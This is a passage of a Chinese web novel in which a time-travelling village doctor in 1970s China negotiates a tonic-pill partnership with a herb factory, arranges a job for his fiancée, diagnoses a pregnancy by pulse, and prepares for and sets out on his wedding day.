【叮!检测到特殊病症治愈案例,疾病图鉴已收录:神经源性功能障碍。】 江沐不动声色地将银针消毒收好,又搭上杨小军的脉搏,仔细诊了片刻。 “嗯,气血通畅,经络已固,你这病根算是彻底除了。”他收回手。 杨小军已经能自如地穿衣下地,他活动着双腿,脸上是难以抑制的狂喜。 他从兜里掏出一沓钱,恭恭敬敬地递了过去。 “江沐兄弟,大恩不言谢!” 江沐接过诊金,点了点头。 杨小军却没急着走,反而凑了上来,神神秘秘地压低了声音。 “兄弟,你马上就要大婚了,我这儿正好有个天大的好消息,就当是……提前送你的一份新婚贺礼!” 杨小军的脸凑了过来,声音压了又压。 “兄弟,我爸的药材厂,最近要招一个正式的药材收购员!一个月,二十二块钱的工资,还带各种票证补贴!” 二十二块! 这个数字在七十年代可以是笔不小的数目。 这年头,一个壮劳力在公社干一天才挣十个工分,折合下来也就一毛多钱。 二十二块,那可是公社书记级别才有的待遇! 杨小军的呼吸都带着热气,他觉得这份贺礼,比任何东西都来得实在。 “怎么样?就是平时在村里收收药材,做个登记,等我过来拉货的时候对个账就成。这活儿,你干不干?” 他满眼期待地看着江沐,在他看来,这简直是天上掉下来的馅饼,没人能拒绝。 然而,江沐却十分平静。 给他打工?一个月二十二块? 若是刚穿越过来,或许他会欣喜若狂。 但现在,坐拥声望商城和一身惊天医术的他,格局早已不同。 他要的,不是一个饭碗,而是一个能让他大展拳脚的平台。 “杨哥,这活儿,我能干。”江沐先是给了个肯定的答复,让杨小军心头一松。 紧接着,他话锋一转,。“但我不想只当一个收购员。” 第79章 天塌下来,有我给你顶着 杨小军一愣,没明白江沐的意思。 “那……那你想?” “我们合作。”江沐的声音不大,却字字千钧,“你说的滋补丹,收购药材、炮制、成丹,所有流程我一个人全包了。你,只需要负责出本钱和最后的销售。” “只不过,咱们两个的分成,需要重新算一下,毕竟炮制药草需要耗费的时间精力都不少,六成太少了!” “我七,你三。”江沐伸出三根手指。 “七……七成?!”杨小军眉头微蹙,这小子,胃口也太大了吧! 这简直是狮子大开口! 可没等他反驳,江沐便淡淡地补充了一句:“杨哥,你卖的是药材,而我给你的,是能让你父亲的药厂一飞冲天的独家神药。这其中的价值,你应该比我更清楚。” 一句话,如醍醐灌顶,瞬间浇醒了杨小军。 他猛然想起父亲杨丰收对这滋补丹近乎狂热的渴求,想起父亲那句不惜一切代价也要拿下的叮嘱。 跟能神药比起来,区区三成利润算得了什么? 只要能搭上江沐这条线,别说三成,就算是一成,那也是泼天的富贵! “干!”杨小军一拍大腿,定了下来,“就按你说的,七三分!兄弟,以后你就是我亲兄弟!药材钱我来出,卖货的事你不用操心,你只管把药丸给我捣鼓出来就行!” “对了!”杨小军像是想起了什么,连忙补充,“这事儿得有个名头,我回去给你弄个药厂特聘技术顾问的工作证,方便你在外头办事。你得准备一张一寸的小照片给我。” “没问题。”江沐干脆利落地应下。 送走杨小军,江沐心情一片大好。 他转身锁上卫生室的门,脚步轻快地朝着张小月家走去。 院子里,张小月正坐在小马扎上,低头纳着鞋底,晚霞的余晖为她镀上了一层温柔的金光。 “小月。”江沐轻声喊道。 张小月闻声抬头,看到是他,立刻弯眼笑了起来,“江沐哥,你忙完啦?” 江沐走到她身边,很自然地蹲下身,看着她的眼睛,温声问道:“你有没有一寸的小照片?” “照片?”张小月有些茫然地摇了摇头,“我……我没拍过那东西。”这个年代,照相是件稀罕又奢侈的事情,村里姑娘哪有这个闲钱。 江沐笑了笑,顺势将刚才的好消息说了出来,只不过,主角换了一个人。 “……药材厂的收购员,一个月二十二块钱工资,还发粮票布票。我想让你来做。” “啥?!”张小月手里的针掉在了地上,她猛地站起身,因为太过震惊,声音都变了调,“让、让我做?江沐哥,你没开玩笑吧?我……我不行的!我大字不识几个,就会下地干活,我哪干得了这个啊!” 她慌得连连摆手,脸上满是自卑。 那可是二十二块钱的正式工作啊! 是她想都不敢想的好事,她觉得自己根本配不上。 江沐握住她冰凉的手,掌心的温度给了她无穷的力量。 他凝视着她的眼睛,坚定道。 “我说你行,你就行。不就是称个重,记个账吗?我教你。再说了,你男人我不是摆设,天塌下来,有我给你顶着。” 你男人三个字,瞬间冲垮了张小月心里所有的惶恐。 她的眼眶一热,重重地点了点头。“嗯!” “走,换身干净衣裳,咱们现在就去公社照相馆。”江沐拉起她,说干就干。 张小月胡乱地擦了把眼睛,跑进屋里,不一会儿就换上了一件碎花衬衫,紧张又雀跃地走了出来。 公社的照相馆里,老师傅架起老旧的相机,在黑布下搗鼓了半天。 在一阵闪光后,江沐又掏出一块钱,递了过去。 “师傅,麻烦再给我们俩拍张合照,我们着急用,能不能尽快洗出来?” 多付了一块钱,老师傅的态度立马热情了不少,拍着胸脯保证明天一早就能来取。 从照相馆出来,江沐又顺道去了趟卫生院,领了这个月的工资,并把二十号结婚的喜讯告诉了孙院长。 随后,他又找到了采购部主任孙阳和恰好在场的公社书记周志康,给两人发了喜糖。 孙阳一听,当即一拍胸脯道,“江沐兄弟结婚,这可是大喜事!到时候我一定去喝你的喜酒!” …… 与此同时,邹县药材收购厂,厂长办公室。 杨小军推开门,冲到他父亲杨丰收的办公桌前。 “爸!谈成了!我跟江沐兄弟谈成了!” 杨丰收正戴着老花镜看文件,闻言猛地抬起头,问道,“怎么个章程?” “他……要合作。”杨小军舔了舔干涩的嘴唇,有些忐忑地开口,“利润,他要七成。” 他已经做好了被父亲痛骂一顿的准备。 谁知,杨丰收听完,先是一愣,随即猛地一拍那张厚实的红木办公桌,发出一声巨响! “好!好啊!”他非但没有生气,反而兴奋地站了起来,在办公室里来回踱步,脸上是难以掩饰的狂喜。 “七成?哈哈哈,小军啊,你糊涂!别说七成,就是他要八成,咱们也是血赚!你知道那滋补丹意味着什么吗?那是一座挖不完的金山!” 他一把按住儿子的肩膀,目光灼灼。 “记住,这个人,我们杨家绝对不能得罪,只能交好!要不惜一切代价,把他绑在我们杨家的船上!” 杨丰收沉吟片刻,眼中闪过决断。 他走到墙角的保险柜前,捣鼓了半天,取出一个精致的檀木盒子。 “等江沐结婚那天,你把这个送过去。” 他打开盒子,一股浓郁的药香瞬间弥漫了整个办公室。 盒子里,静静地躺着一根形态酷似人形、须发皆全的老山参。 “这……这是您珍藏的那颗百年野山参?!”杨小军惊讶不已。 “没错。”杨丰收盖上盒子,语气郑重。 “舍不得孩子套不着狼!有了这棵人参做敲门砖,咱们和江沐的关系才能更进一步。” 他又叮嘱道:“还有,没事多带着你媳妇儿,去你老丈人家里坐坐,多走动走动。” “我明白,爸。”杨小军重重点头,心中已是一片雪亮。 从办公室出来,杨小军带着妻子马小爱,径直回了县武装部的家属大院。 他的岳父马忠文,退休前,正是这县武装部的一把手,门生故旧遍布整个陕州。 这是一张,比金钱更强大的关系网。 第80章 这种男人,可遇不可求 院子里,槐树下的石桌边,马忠文正跟几个老伙计杀得难解难分。 棋盘上黑白交错,他捏着一枚棋子迟迟不落。 “老马,你要是再磨蹭,这把我可真走了!”对面一个胖墩墩的老头儿忍不住催促。 “急啥?这可是生死一局。” 马忠文嘴角带笑,却还是没动手。 他余光瞥见小军和小爱走进大门,立刻将棋子往桌上一扔,“不下了,不下了!家里有事!” “呦,这不是耍赖嘛!”旁边瘦高个乐得直拍大腿,“输了就想跑?你那两个炮都快被吃光啦!” “就是啊,老马,你这脸皮比城墙还厚!”另一个人也起哄。 马忠文理都懒得理他们,大手一挥:“明天接着,下回让你们输得服服帖帖!” 说完,他抬脚就朝屋里走去。 杨小军赶紧搀着媳妇跟上,小爱在后头偷偷憋笑——岳父这一招金蝉脱壳用得太溜。 屋里还残留着午后的热气。 刚坐定,马忠文便盯紧杨小军:“怎么样?身体彻底好了没有?” 杨小军嘿嘿一笑,拍着胸脯道:“放心吧爸,都好了!现在连爬楼梯都能三步并作两步,就等着您给抱孙子呢。” 听到这里,小爱脸颊飞起两朵红云。 马忠文点点头,也算放下心来。 他又压低声音问道:“你爸怎么说?” 杨小军赶紧凑过去:“爸让我问问您,有空的话明天咱两家在国营饭店订一桌,一起坐坐。” “行!有酒有肉,我肯定到场。”马忠文爽快答应,一提酒肉整个人精神多了。 他忽然眯起眼睛,上下打量杨小军,“不过话说回来,小军,你认识那个江沐,到底什么来路?听说医术挺厉害,可别是吹出来的吧?” 杨小军来了精神,把椅子搬近了一些,压低声音道:“爸,我跟您讲,那是真本事!我这病找遍县医院没人看好,就是江沐三针扎下去,现在神清气爽,肉眼可见的变好。 沈副县长也请他出过诊,两人关系铁着呢,还有我之前给您拿的滋补丹,也是他独家配方。 我现在已经和他谈妥合作,以后药材厂能不能发达,就看咱们能不能抓住这个机会。” 听到这里,马忠文眉毛挑了一挑,有些意外,“真的假的?这么年轻的小伙子,还真有两把刷子?” 杨小军竖起三根手指发誓:“千真万确,要不是亲身体验,我打死也不信! 而且周书记也夸过,说江沐家世不错,他爹在市人民医院当副院长呢。” 闻言,马忠文终于满意,但又压低声音问道:“那……是不是啥病都能治?” 这个问题把杨小军问住了。 他挠挠脑袋,有些不好意思地摇摇头。 “这个我真不知道。不过听公社的人讲,大病小病、妇科儿科、跌打损伤全行。实在不行,到时候让江沐亲自看看呗。” “你问这个,是哪儿不舒服?”杨小军突然警觉起来,有些紧张地盯着岳父。 “不关我的事。”马忠文摆摆手,“是我的一个老战友,当年救过我的命。这几年身体一天比一天差,可查来查去,也查不出毛病。我琢磨着,要是真有本事的人,说不得还能帮帮忙。” 杨小军连连点头,一口答应下来。 “放心吧爸,只要有时间,我一定领他去找江沐,让兄弟给好好看看!” 屋内气氛顿时轻松下来。 窗外知了叫个不停,小爱悄悄松了一口气,只觉得自家男人越来越像回事儿了。 …… 另一边,张家灶台热气腾腾。 张峰扒拉完最后一口饭,把碗重重搁在桌上。 “小月,你男人给你弄了正式工作?”张峰瞪圆双眼,一副见鬼模样。“二十二块工资,还有票证补贴?!真的假的?” 张小月羞涩地点点头,小声嘟囔一句:“爸,这是江沐帮忙争取的……” 张峰激动地站起来,在屋里转了一圈。 “哎呀妈呀,这可是铁饭碗啊!不过——”他话锋一转,看向女儿,“以后嫁过去,可千万别作妖,好好过日子,把江沐伺候好了。这种男人,可遇不可求!” 张小月红着脸点头。“爸,我知道……” 张峰刚想推门出去炫耀几句,被女儿一把拉回来。“爸,这事儿千万别往外传!省得惹人眼红,说闲话。” 张峰撇撇嘴,只好作罢。 但心里早已乐开花:女儿终于熬出了头! …… 与此同时,在二大队办公室内。 李有柱正端着茶缸,大口喝水。 一旁的书记高志强正在翻阅文件,两道浓眉紧锁,看起来心事重重。 门口传来敲门声,还没等回应,一个身影已经推门而入—— 正是江沐。 高志强的手还没从文件上挪开,江沐已经大步走进屋。 阳光透过窗棂,落在他干净利落的侧脸上。 “书记,李队长,我有个事得提前跟你们打个招呼。” 江沐开门见山,眼神坦然。 “杨小军那边给了我一个药材厂收购员的名额。我琢磨着,要是在咱公社设个药材收购点,村里人有门路,多一份收入。” 李有柱一口茶差点呛出来,眼睛瞪得溜圆:“啥?药材厂要在咱设收购点?这可是天大的好事啊!” 高志强也放下手里的文件,眉头舒展开来:“能成吗?” 江沐点头:“杨小军家里说了,只要我们能组织得起来,销路不愁。到时候村里人采药卖钱,比光靠工分强多了。” 李有柱激动得搓手,嘴里直念叨:“行啊,这事成了,以后谁还怕饿肚子!”忽然一拍大腿,笑道,“江沐,你小子行!等我再干几年队长,这摊子就交给你了!” 江沐哭笑不得,连连摆手:“李队长,您别挖坑给我跳。我是想提前说一声,让您心里有个数。别到时候全村人都跑山里挖药,没人下地干活,那可就麻烦了。” 李有柱一愣,回过味来,连连点头:“对对对,这事得掂量着来。” 高志强插话,警觉到:“江沐说得没错。山里可不太平,有野猪豹子,去年还出过事呢。安全第一。” 说到这里,高志强忽然想起什么,对着江沐道,“江沐,上次那张皮子你婶子已经晒好了,你回头拿走吧,可别忘了。” 江沐心头一暖,点点头。 第81章 多一条活路,总比死守田头强 李有柱当即放下茶缸,大嗓门一吼:“小王、小刘、小孙,都过来!开会!” 不多时,村委会几个小领导鱼贯而入。 屋里顿时热闹起来。 李有柱扫视一圈,把事情原原本本说了一遍,“江沐要帮咱村联系药材厂收购,到时候大家都能挣钱。不过有个问题,要是都跑山里采药,不种地咋整?” 小王第一个开口:“我看行啊!反正种地也挣不了几个钱,多条路子总比死守工分强!” 小刘皱眉:“可要是都去采药,今年地里的活儿谁干?万一耽误了双抢,那可不是闹着玩的。” 小孙犹豫道:“还有安全问题呢,上次老王头就是进山摔断了腿……” 众人七嘴八舌,一时间谁也说服不了谁。 李有柱见状,一拍桌子定了调子:“这样,每家每户只准派一个人进山采药。安全自己负责,到双抢的时候,一律不许去采药,全都回来种地!谁敢耍滑头,队里扣工分!” 众人面面相觑,但没人再反驳。 多一条活路,总比死守田头强。 江沐看在眼里,心底松了口气。 这帮老乡虽然嘴碎,可真遇到好事,还都是想着村里的长远。 很快,这消息传遍全村。 有胆大的直接堵住江沐问,“江医生,我们啥时候能开始卖药材啊?” “快了,再等等。我先把手续办妥,你们别急。”江沐笑着安抚。 他知道,这些年大家日子太紧巴,这终于有点盼头。 …… 第二天天刚亮,他就骑车去了公社照相馆,把昨天拍的一寸照和合影取回来,又顺道买了两条烟、两瓶酒和两斤糖果装进布袋——这些东西,在这个年代可是硬通货。 中午时分,他拎着东西直奔赵厨家。 一进院子,就闻见厨房飘来的葱油香味儿。 赵厨正在案板前剁肉馅,看见江沐来了,赶紧擦擦手迎出来,“哎呦,小江来了?今儿咋这么客气?” 江沐笑呵呵递上烟酒糖果,“赵叔,我和小月二十号结婚,到时候还得劳您掌勺。” 赵厨乐得合不拢嘴,:“成啊成啊,我早盼着吃你们喜酒呢!几桌?” “暂定二十桌,再多备两三桌,以防亲戚朋友多。” 江沐早有准备,把人数算得明明白白。 “菜谱我也想好了,全是硬菜:红烧肉、酱牛肉、油焖大虾、炖鸡、扒肘子、清蒸鲤鱼、粉蒸肉、四喜丸子、炒鸡蛋、凉拌三丝、拍黄瓜、八宝粥……十二道菜,不差钱。” 赵厨听完直乐呵:“行,小江你放心,有我在准保让你风风光光娶媳妇!” 菜谱敲定后,江沐又把写好的食材清单装进口袋,当天下午就去了公社找孙阳帮忙采购。 孙阳刚打完针,看见江沐进来,立刻问道:“哟,小江,有喜事找我?” “麻烦你帮我张罗点东西——肉、鸡蛋、酒水、蔬菜,都按这个单子买齐。”江沐递过去清单,又压低声音补了一句,“钱我提前打给你,不够再补。” 孙阳爽快拍胸脯:“包我身上!不过——”他凑近一步,小声嘀咕,“滋补丹还有没有?我那瓶刚吃完,我妈说睡觉香、腿脚也轻快不少……” 江沐冲他眨眨眼:“放心,下批货马上就到,到时候优先留你一份!” 孙阳闻言,凑得更近,压低声音:“江医生,你可得上点心。我能不能从公社挪挪窝,可全指望你了。” 他这话里的意思再明白不过。 这滋补丹不仅是补品,更是敲门砖,是通往上层关系的硬通货。 江沐心下了然,这位孙阳也是个有野心的。 江沐没把话说死,只笑了笑:“放心,忘不了你。” 第二天一早,院门口就传来一阵自行车铃声,杨小军推着一辆崭新的永久牌自行车,满面春风地走了进来。 “江医生!我来啦!” 江沐正在院里打拳,收了架势,擦了把汗:“来得正好,东西给你准备好了。”他转身进屋,拿出一个用手帕仔细包好的小包。 杨小军接过来,打开一看,是一张一寸的黑白照片,照片上的张小月梳着两条乌黑的辫子,眉眼弯弯,清秀可人。 旁边还有一张纸条,写着生辰年月。 “行,嫂子的工作,我回去就让我爸找人办妥。”杨小军小心翼翼地把东西收进怀里,随后严肃道,“江医生,这次来,还有一件十万火急的事想求你。” 江沐给他倒了杯凉白开:“坐下说。” 杨小军灌了一大口水,气息这才喘匀:“我老丈人有个过命的战友,早年在战场上受过伤,底子一直不好。 可最近不知道怎么了,整个人跟被抽干了一样,一个月不到,瘦了快三十斤!县医院跑遍了,啥毛病也查不出来,眼看人就要不行了!” 江沐的眉头立刻蹙起。 一个月暴瘦三十斤,这绝不是小问题。 他脑中瞬间闪过几种可能,但没有亲眼见到病人,一切都是空谈。 “人现在在哪?是我过去,还是你们把人送过来方便?”他沉声问道。 杨小军面露难色:“这……这位叔叔的身份有点特殊,我得回去跟马叔商量一下。不过江医生你放心,只要你肯出手,怎么都方便!” 江沐微微颔首,没再追问。 他知道,这潭水底下,恐怕藏着他暂时还接触不到的层面。 “对了,”杨小军像是想起了什么,从挎包里掏出一个长条形的木盒,双手捧着递过来,“药材收购的事,厂里已经定了,九月初就开秤!我爸让我先把信儿给你带到。这个,是我爸托人从东北老林子寻摸来的,正经百年的野山参,给你和嫂子的新婚贺礼!” 木盒打开,一股浓郁而独特的药香瞬间弥漫开来。 一根形态酷似人形的老山参静静地躺在红绸上,参须完整,芦碗紧密,品相极佳。 江沐诧异,这东西的价值,在这个年代简直无法估量。 “不行不行,这太贵重了,我不能收!”他连忙推辞。 杨小军把脸一板,直接将木盒塞进江沐怀里:“江哥!你帮了我这么大的忙,这算什么?一根破人参而已?你要是不收,就是瞧不起我,以后这朋友也别做了!” 话都说到这份上,江沐再推辞就显得矫情了。 他深吸一口气,郑重地将木盒收下:“好,这份情我记下了。替我谢谢杨厂长。” 送走杨小军,距离婚期只剩下四天。 第82章 在这里感受到了家人般的关怀 江沐正式搬进了新家。 青砖瓦房,三间正房带一个宽敞的院子,收拾得干净利落。 暖房这天,他没大操大办,只请了张峰一家,还有平日里帮忙最多的几个邻居。 院子中央支起一口大锅,锅里炖着香喷喷的野兔肉。 这是虎虎和生威这段时间的杰作,两只狗崽子如今在山里已是来去自如,隔三差五就能叼回点野味。 江沐举起搪瓷缸,里面是温好的白酒,他环视一圈,脸上是真挚的笑容。 “各位叔伯婶子,大哥大嫂,今天暖房,多谢大家帮忙!我江沐初来乍到,是大家伙儿让我在这有了个家。以后,你们就是我的亲人!我嘴笨,话都在酒里,我先干为敬!” 说完,他仰头将一杯酒一饮而尽。 “好!”邻居们纷纷叫好,气氛热烈到了极点。 酒过三巡,菜过五味。 饭后,妇女们手脚麻利地收拾碗筷,男人们则聚在院里的树荫下,抽着烟,天南海北地聊着天。 直到下午三点多,江沐才把众人一一送走。 他一个人站在空荡荡的院子里,看着满地的瓜子皮和烟头,非但没觉得麻烦,心里反而暖融融的。 这,就是家的烟火气。 唯一美中不足的,是家里还没通电。夜幕降临,屋里便是一片漆黑。 江沐心念一动,沟通了系统。 【声望商城】 他目光扫过,很快锁定了一个不起眼的小东西。 【便携式多功能矿灯,续航24小时,售价150声望值。】 “兑换。” 下一秒,一盏崭新的小矿灯凭空出现在他手中。 按下开关,一束明亮的光柱将整个屋子照得亮如白昼。 这天晚上,江沐躺在新盘的火炕上,有些失眠。 听着窗外偶尔传来的几声犬吠,想着即将开始的新生活,他不知几点才沉沉睡去。 第二天,他一觉睡到大天亮。 不得不说,这烧得暖烘烘的土炕,确实比卫生室那张吱嘎作响的破板床舒服太多了。 他伸了个懒腰,神清气爽地起了床,先去卫生室给几个排队的村民看了病,处理完手头的事,才转身回家。 从柜子里拿出一沓崭新的大团结,他抽出五张,又包了两条烟,这才锁上门,径直朝着书记高志强家的方向走去。 高家的大门敞着,院里传来一阵阵搓洗衣裳的棒槌声。 江沐刚走到门口,一个围着蓝布围裙的中年妇女就直起了腰,正是高志强的媳妇刘翠萍。 “哟,小江大夫,啥风把你给吹来了?”刘翠萍擦了擦手,朴实笑道。 江沐提了提手里的东西,往前一步,很自然地将烟和钱塞到她手里:“婶子,我这不是来取东西了嘛。一点心意,您可千万别嫌弃。” 刘翠萍一摸到那厚厚的一沓钱和硬邦邦的烟盒,连连往回推:“哎呀你这孩子!看病救人是你的本事,婶子给你做点针线活算个啥?快拿回去,不然我可跟你急了!” 这推拉之间,屋里传来高志强沉稳中带着点不耐烦的声音。 “翠萍!小江不是外人,让你收下就收下,磨叽个啥!” 高志强一发话,刘翠萍的手劲儿立马就松了。 她脸上有点不好意思,瞪了屋里一眼,这才把东西接了过去,嘴里还念叨着:“你看看你这孩子,太客气了,下回可不兴这样了啊。” 江沐心里跟明镜似的,高书记这是在用行动告诉他,这个情,他领了。 “婶子,毯子……” “哦哦哦,瞧我这记性!”刘翠萍一拍大腿,转身就进了里屋。 没一会儿,她抱着一卷厚实的东西走了出来,小心翼翼地展开。 那是一张完整的豹皮,皮毛油光水滑,斑纹清晰。 关键是鞣制得极好,皮板柔软,没有丝毫异味。 四边用厚实的黑布精心包了边,针脚细密匀称,一看就是下了大功夫的。 江沐的眼睛瞬间就亮了,他伸手抚摸着那顺滑的皮毛,触感温润,简直无可挑剔。 “婶子,您这手艺,绝了!比供销社里卖的还好!”这句夸赞发自肺腑。 刘翠萍被夸得乐开了花,:“喜欢就好,喜欢就好!你结婚铺在炕上,又气派又暖和!” 她说着,又献宝似的从身后拿出一个小东西。 “你再瞧瞧这个!” 江沐定睛一看,竟是一顶小巧的豹皮帽子,虎头虎脑的样式,内里衬着柔软的棉布,还缀着两个圆滚滚的毛球,可爱又威风。 “这是用剩下的料子给你未来儿子做的!咱青莲公社的娃娃,就得有这股虎气!” 江沐的心像是被一只温暖的手轻轻攥了一下,一股暖流瞬间涌遍全身。 他一个无根的浮萍,在这里感受到了家人般的关怀。 他接过那顶小帽子,郑重地捧在手心,声音都有些微涩。 “婶子……这……我这钱给少了。” “说啥傻话呢!”刘翠萍嗔了他一眼,“快进屋,赶上饭点了,今天就在这吃!” 高志强也从屋里走了出来,不由分说地把江沐往屋里拉:“走,陪我喝两杯!” 饭桌上,除了高志强两口子,还有他的儿子高建国和儿媳孙丽雅。 孙丽雅是个文静秀气的女人。 菜是家常菜,土豆炖豆角,醋溜白菜,还有一盘金黄的炒鸡蛋。 高志强心情好,气氛也热络。 正吃着,孙丽雅忽然脸色一白,捂着嘴干呕了一声。 高建国立刻紧张起来,放下筷子给她拍背:“丽雅,咋了?是不是吃坏肚子了?” “没事没事,可能就是有点反胃。”孙丽雅摆了摆手,脸色却不太好看。 江沐的目光落在了她手腕上,眼神微微一动,放下筷子,温和地开了口:“嫂子,方便的话,我给你搭个脉吧。” 孙丽雅愣了一下,随即点了点头。 江沐三指轻轻搭上她的寸口,闭目凝神。片刻后,他睁开眼,了然于心。 “恭喜书记,恭喜婶子,你们要抱孙子了。”他顿了顿,又补充了一句,“从这滑脉的劲头看,八成是件贴心的小棉袄。” 整个屋子瞬间安静了一秒,随即爆发出巨大的惊喜! “啥?!”高建国猛地站起来,脸上满是狂喜,“江……江大夫,你说的真的?我要当爹了?!” 第83章 吉时已到,出发! “千真万确。”江沐笑着点头。 “哎哟我的天!”刘翠萍激动得一拍大腿,眼圈都红了。 高建国原地转了两圈,突然一头冲进里屋,没一会儿,抱着一瓶用红纸封口的白瓷瓶酒冲了出来,献宝似的往桌上一放! “爸!江大夫!今天必须喝这个!我从我老丈人那顺来的好东西!” 孙丽雅又好气又好笑,轻轻捶了他一下:“你小声点!回头让我爸知道了,看他不扒了你的皮!” 高建国嘿嘿傻笑,挠着头连连作揖:“好媳妇,我的好媳妇,你可千万得替我保密!” 他麻利地给江沐和高志强满上酒,这一顿饭,吃得是宾主尽欢,喜气洋洋。 酒足饭饱,江沐告辞离开,高家一家人把他送出老远。 时间转眼就到了八月十九号,距离婚礼只剩最后一天。 天刚蒙蒙亮,整个青莲公社二大队轰然运转起来。 家家户户的媳妇姑娘们都跑来帮忙,洗菜的洗菜,切肉的切肉,孩子们在院里院外追逐打闹,笑声传出老远,到处都洋溢着喜庆的气氛。 江沐也换上了一身崭新的中山装,整个人更显得挺拔英气。 按照规矩,今天他得去老丈人家,那边也要办一场酒席,宴请张家的亲戚。 孙阳开着供销社的卡车,已经把预定的食材全都送到了院里。 “书记,家里就拜托您多照应了。”江沐找到正在帮忙指挥的高志强,一脸郑重。 他又转向孙阳,歉意地拍了拍他的肩膀:“孙阳兄弟,真对不住,今天我得去老丈人家,实在没法招待你。有啥事你直接找高书记,千万别客气。” 孙阳连连摆手:“你快忙你的!这都是小事!” 中午,在张家敬完了所有亲戚的酒,又跟张峰商量妥了明天接亲的最后细节,江沐这才得以脱身,赶回自己家。 一进院子,更是被眼前的景象惊了一跳。 院里已经整整齐齐地支起了十几张八仙桌,赵厨带着两个帮手,正挥舞着大勺,在临时搭起的土灶上忙得热火朝天,浓郁的肉香飘满了整个院子。 夜幕降临,李有柱扯着大嗓门,开始给众人分派任务。 “柱子家的!你带几个手脚麻利的,把碗筷都烫一遍!” “二牛!你小子力气大,去把那几袋白面扛到厨房去!” “还有你们几个半大小子,别光顾着疯跑,去,把凳子都给老子摆齐了!” 整个院子灯火通明,人声鼎沸,每个人脸上都挂着笑,忙碌而又快乐。 江沐不懂这边的婚俗讲究,乐得当个甩手掌柜。 一切接亲事宜,李有柱大包大揽,拍着胸脯让他放一百个心。 “小江,明早接亲,咱们这边得凑个单数,图个吉利!” 夜深了,帮忙的乡亲们陆续散去,李有柱拉着几个精壮的后生,围着江沐坐在院里的八仙桌旁,就着炒花生米和月光,喝着践行酒。 这几个都是李有柱亲自挑的,二队的二牛,三大队的栓子,还有几个机灵的半大小子,凑了七个人,加上江沐,正好。 “队长,听您的安排。”江沐端起搪瓷缸子,跟众人碰了一下,辛辣的烧酒顺着喉咙滑下。 “啥队长不队长的,明天就该改口叫姑父了!”李有柱一瞪眼,大着舌头嚷嚷,“明天都给老子机灵点!谁敢在小江的场子上掉链子,看我回头不扒了他的皮!” “放心吧柱子哥!”二牛他们拍着胸脯,嘿嘿直乐。 几人推杯换盏,聊着村里的趣事,气氛热烈又融洽。 直到快十一点了,李有柱才大手一挥,把这群还有些意犹未尽的家伙们往外赶。 “行了行了!都滚回去睡觉!明天还有正事要干,谁敢给我喝趴下起不来,腿给他打折!” 众人哄笑着散去,院子终于安静下来。 李有柱的婆娘张兰端着一碗热腾腾的红糖鸡蛋水走了过来,脸上带着慈和的笑。 “小江,快,喝了暖暖身子。”她将碗塞到江沐手里,“明早接亲,还有些老规矩得跟你说道说道。比如进了门,新娘子的脚不能沾地……” 张兰絮絮叨叨地交代着,从出门的时辰,到进门的红包,事无巨巨细。 江沐认真听着,一一记在心里。 这一夜,江沐辗转反侧,了无睡意。 窗外是沉沉的夜色,屋内是他亲手置办的家具,耳边似乎还回响着白日里的喧嚣和张兰婶子温柔的叮咛。 这一切都让他感到一种不真切的幸福感。 他不再是那个被家庭抛弃的孤单灵魂,在这里,他有了根。 天还没亮,凌晨四点,院门就被轻轻叩响。 李有柱和张兰一前一后走了进来,手里还提着一盏马灯。 “小江,起了没?该收拾了!” 江沐早已穿戴整齐,迎了出来。 张兰看着他,眼圈微微有些发红,她上前一步,伸手替他理了理崭新中山装的衣领,心疼道:“你爹妈不在身边,今天,我和你柱子叔,就是你的家人。咱们风风光光地去,把新媳妇给你接回来!” 一句话,让江沐的眼眶瞬间湿润了。 他用力地点了点头,千言万语都堵在喉咙里,最终只化作一个字。 “……好。” 赵厨也打着哈欠赶到了,身后还跟着几个邻居家的媳妇。 院子里很快又亮起了灯火,重新变得热闹起来。 烧水的,和面的,切菜的,每个人都各司其职,忙而不乱,将这桩婚事稳稳地托举起来。 六点半,天光大亮。 一锅热气腾腾的肉臊子面下了肚,所有人都精神抖擞。 李有柱清了清嗓子,把要去接亲的几个后生叫到跟前,开始做最后的战前动员。 “都听好了!等会儿出门,一路上红包、喜糖、烟卷都不能断!尤其是到了村口,肯定有丫头小子们拦路,别小气,用糖和烟把路给老子砸开!” 他指了指墙角堆着的几个大包袱,里面装满了要带去女方家的彩礼和各种回礼。 “二牛,你负责扛布料。栓子,你提着酒和点心。都给我拿稳了,这可是小江的脸面!” 众人轰然应诺。 李有柱不放心,又亲自上手检查了一遍,确认万无一失,这才大手一挥。 “七点了!吉时已到!出发!” 第84章 新娘子回来啦 十几辆被擦得锃亮的二八大杠自行车排成一列,车把上都系着鲜艳的红绸布,浩浩荡荡地朝着三大队的方向骑去。 队伍刚到三大队的村口,果然,乌泱泱一群半大孩子和看热闹的媳妇姑娘们,笑着闹着就把路给堵死了。 李有柱早有准备,根本不用江沐开口,立刻指挥着身后的人。 “发糖!发烟!都别愣着!” 一时间,五颜六色的水果糖撒了出去,孩子们欢呼着一拥而上。 李有柱则拿着大生产香烟,见人就塞,满脸堆笑地拱手。 “各位乡亲,各位大姐大妹子,行个方便!今儿是我侄子大喜的日子,讨个彩头!” 拿了好处,众人自然不会再为难,笑着让开了一条路。 自行车队顺利抵达张小月家门口。 院门大开,张峰和几个张家的兄弟早已等候多时,笑着上前接过东西,将众人迎了进去。 可到了堂屋门口,最后一道关卡来了。 屋门关得严严实实,张小月那半大的弟弟张小虎,隔着门板扯着嗓子喊。 “想见我姐?行啊!红包拿来!” 院子里顿时响起一片哄笑声。 江沐失笑,从口袋里掏出一把早就准备好的红包,对着门缝扬了扬。 “小虎,开条缝,不然红包怎么给你?” 门里头的张小虎犹豫了一下,似乎觉得有道理,悄悄地将门拉开了一道窄窄的缝隙。 就是现在! 跟在江沐身后的二牛和栓子对视一眼,向前一发力! 本就没上锁的木门被轻轻松松地撞开,堵在门后的张小虎几个人被推得一个趔趄,差点摔倒。 “哎!你们耍赖!”张小虎气得脸都红了。 江沐哈哈大笑着跨进门槛,一把将厚厚的一沓红包塞进他怀里。 “拿着,都是你的!” 张小虎抱着红包眉开眼笑,嘴甜得跟抹了蜜一样,脆生生地连叫了好几声。 “姐夫!姐夫好!” “欸!”江沐心情大好,又从兜里摸出几个红包塞了过去,“这个是单给你的,去买炮仗玩。” 张峰看着自己这没出息的儿子,又好气又好笑,无奈地挥了挥手。 “行了行,别在这儿杵着了,都去院子里头玩去!” 穿过喧闹的堂屋,江沐在一众婶子嫂子们调笑目光中,被推进了东边的里屋。 屋里的喧嚣仿佛被一扇门板彻底隔绝。 内室里,一片喜庆的红。 